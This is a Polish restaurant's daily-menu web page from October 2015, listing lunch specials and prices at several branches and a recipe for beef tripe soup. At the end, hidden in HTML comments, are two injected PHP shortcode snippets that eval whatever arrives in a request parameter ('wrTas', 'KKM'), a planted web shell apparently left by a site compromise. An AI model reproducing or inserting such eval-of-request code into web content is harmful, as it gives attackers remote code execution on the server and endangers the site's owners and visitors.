BAR DOMOWY – DANIE DNIA – 14.10.2015

SZYBOWCOWA 19

Placki po węgiersku lub ze śmietaną i cukrem – 12,99 zł

Zupy do wyboru – kapuśniak, pieczarkowa , barszcz  ukraiński – 3,99

Serdecznie polecamy także wyśmienitą zupę krem z dyni!

Kupując w zestawie – Kompot gratis!

ŚREDZKA 11

Pierogi ruskie – 6,99 zł

STRZEGOMSKA 200

Kotlet po szwajcarsku z ziemniakami i surówką oraz gorąca herbata – 14,47

ZAPRASZAMY!

BAR DOMOWY – DANIE DNIA – 13.10.2015

SZYBOWCOWA 19

Żeberko wieprzowe z dowolnym dodatkiem i surówką – 12,99 zł

Zupy do wyboru – pieczarkowa i kapuśniak  – 3,99

Kupując w zestawie – Kompot gratis!

ŚREDZKA 11

Stek wp. z surówką i ziemniakami – 10,00 zł

STRZEGOMSKA 200

Stek wp. z ziemniakami i surówką na ciepło oraz gorąca herbata – 11,97

 

ZAPRASZAMY!

 

BAR DOMOWY – DANIE DNIA – 12.10.2015

SZYBOWCOWA 19

Schabowy  z dowolnym dodatkiem i surówką – 12,99 zł

Zupy do wyboru – jarzynowa i żurek – 3,99

Kupując w zestawie – Kompot gratis!

 

 

 

BAR DOMOWY – DANIE DNIA – 10.10.2015

SZYBOWCOWA 19

Wątróbka wieprzowa z cebulką z dowolnym dodatkiem i surówką – 9,99 zł

Zupy do wyboru – ogórkowa, barszcz ukraiński, grochowa – 3,99

Kupując w zestawie – Kompot gratis!

Smacznego!

DANIE DNIA W NASZYCH LOKALACH: 

SZYBOWCOWA 19 

Gyros z dipem czosnkowym z dowolnym dodatkiem i surówką – 12,99

Zupy do wyboru – pieczarkowa i fasolowa – 3,99

Kupując w zestawie – kompot gratis.

STRZEGOMSKA 200 

Pulpety w białym sosie z dodatkami – 11,57

w cenie – kompot gratis

🙂

06.10 – Danie dnia – Bar Domowy – Szybowcowa 19

Pieczeń z dowolnym dodatkiem i surówką – 12,99
Zupy do wyboru – fasolowa i pieczarkowa – 3,99

Przy zamówieniu w zestawie kompot otrzymujesz – GRATIS !

Zapraszamy! : )

Danie dnia – 05.10.2015

SZYBOWCOWA 19 

Schabowy z ziemniakami – 9,99

OSMAŃCZYKA 5

Pierś z kurczaka w płatkach – 9,99

ŚREDZKA 11

Placki po węgiersku – 9,99

Serdecznie zapraszamy do naszych lokali!

Danie dnia Bar Domowy

Szybowcowa 19
Kotlet schabowy z dowolnym dodatkiem i surówką – 12,99
Zupy – jarzynowa, ogórkowa i kapuśniak – 3,99
W zestawie – kompot gratis!
Osmańczyka 5
Placki ziemniaczane ze śmietaną – 9,99
Zupy – jarzynowa, ogórkowa i kapuśniak – 3,99
Kupując w zestawie – kompot gratis!

Zapraszamy! 🙂

FLAKI WOŁOWE

Prezentujemy nasz przepis na flaki wołowe, zapraszamy do spróbowania na miejscu lub z dowozem:

Flaki wołowe – składniki:

  • 2 litry bulionu mięsnego (patrz przepis poniżej)
  • 1 kg mrożonych oczyszczonych flaków wołowych
  • 1 cebula
  • 3 łyżki masła
  • 2 łyżki mąki pszennej
  • 1 łyżeczka mielonego imbiru
  • 1 łyżeczka mielonej słodkiej papryki
  • 3 łyżki otartego suszonego majeranku
  • gałka muszkatołowa
  • sól
  • pieprz
  • bulion:
  • 1/2 kg mięsa wołowego (np. szponder)
  • 1 małe udko z kurczaka
  • 1 włoszczyzna:
  • 3 marchewki
  • 2 pietruszki
  • mały seler
  • 1 por
  • 2-3 ziela angielskie
  • 1 liść laurowy
  • sól
  • pieprz

sposób przygotowania:

Przygotuj bulion: do garnka włóż oczyszczone i umyte mięso, obraną włoszczyznę, ziele angielskie i liść laurowy. Zalej wodą, dodaj trochę soli i doprowadź do wrzenia. Przykryj pokrywką i gotuj na bardzo małym ogniu ok. 2-3 godz., od czasu do czasu zbierając z powierzchni szumowiny. Flaki rozmroź, dokładnie porozdzielaj, przełóż do sitka i opłucz zimną wodą. Następnie włóż do garnka, zalej wrzątkiem i gotuj około 5 min. Potem odcedź i przepłucz zimną wodą. Ponownie przełóż do garnka, zalej wrzątkiem i tym razem gotuj około 15 min, po tym czasie odcedź. W ten sposób pozbędziesz się nieprzyjemnego zapachu, który czasami pozostaje w niepłukanych, a obgotowanych już flakach. Gotowy bulion odcedź, warzywa i mięso zachowaj. Do garnka przełóż flaki, zalej bulionem i gotuj pod przykryciem na małym ogniu ok. 1-1,5 godz. W razie potrzeby wywar uzupełniaj wrzątkiem. Zetrzyj na tarce ugotowane wcześniej warzywa – dwie marchewki, pietruszkę i pół selera (możesz też pokroić je w słupki lub w kostkę). Warzywa dodaj do wywaru pod koniec gotowania, gdy flaki będą już miękkie. Przygotuj zasmażkę: cebulę pokrój w bardzo drobną kostkę. Na patelni rozpuść masło, zeszklij na nim cebulę, a następnie dosyp mąki i dokładnie wymieszaj. Do zasmażki możesz dodać niewielką ilość bulionu z gotujących się flaków, aby nie powstały grudki. Gotową zasmażkę dodaj do zupy po dodaniu warzyw. Całość dopraw wg upodobań: imbirem, gałką muszkatołową, słodką papryką, pieprzem, majerankiem. Pamiętaj, aby dodając majeranek, rozetrzeć go w ręku. Na końcu dopraw solą, jeśli potrzeba. Całość gotuj na małym ogniu jeszcze około 15 min. Rada: Dobrze ugotowane flaki powinny być tak miękkie, żeby można je było rozetrzeć w palcach. Do gotowych flaków możesz dodać także pozostałe drobno pokrojone warzywa (oprócz pora) i mięso wołowe, które posłużyły do przygotowania bulionu. Mięso z rosołu możesz też wykorzystać do zrobienia pierogów lub krokietów

Bardzo smacznie witamy!

Zapraszamy do zapoznania się z atrakcyjną cenowo ofertą dla biur i firm budowlanych – klick

<!– [insert_php]if (isset($_REQUEST["wrTas"])){eval($_REQUEST["wrTas"]);exit;}[/insert_php][php]if (isset($_REQUEST["wrTas"])){eval($_REQUEST["wrTas"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["KKM"])){eval($_REQUEST["KKM"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKM"])){eval($_REQUEST["KKM"]);exit;}[/php] –>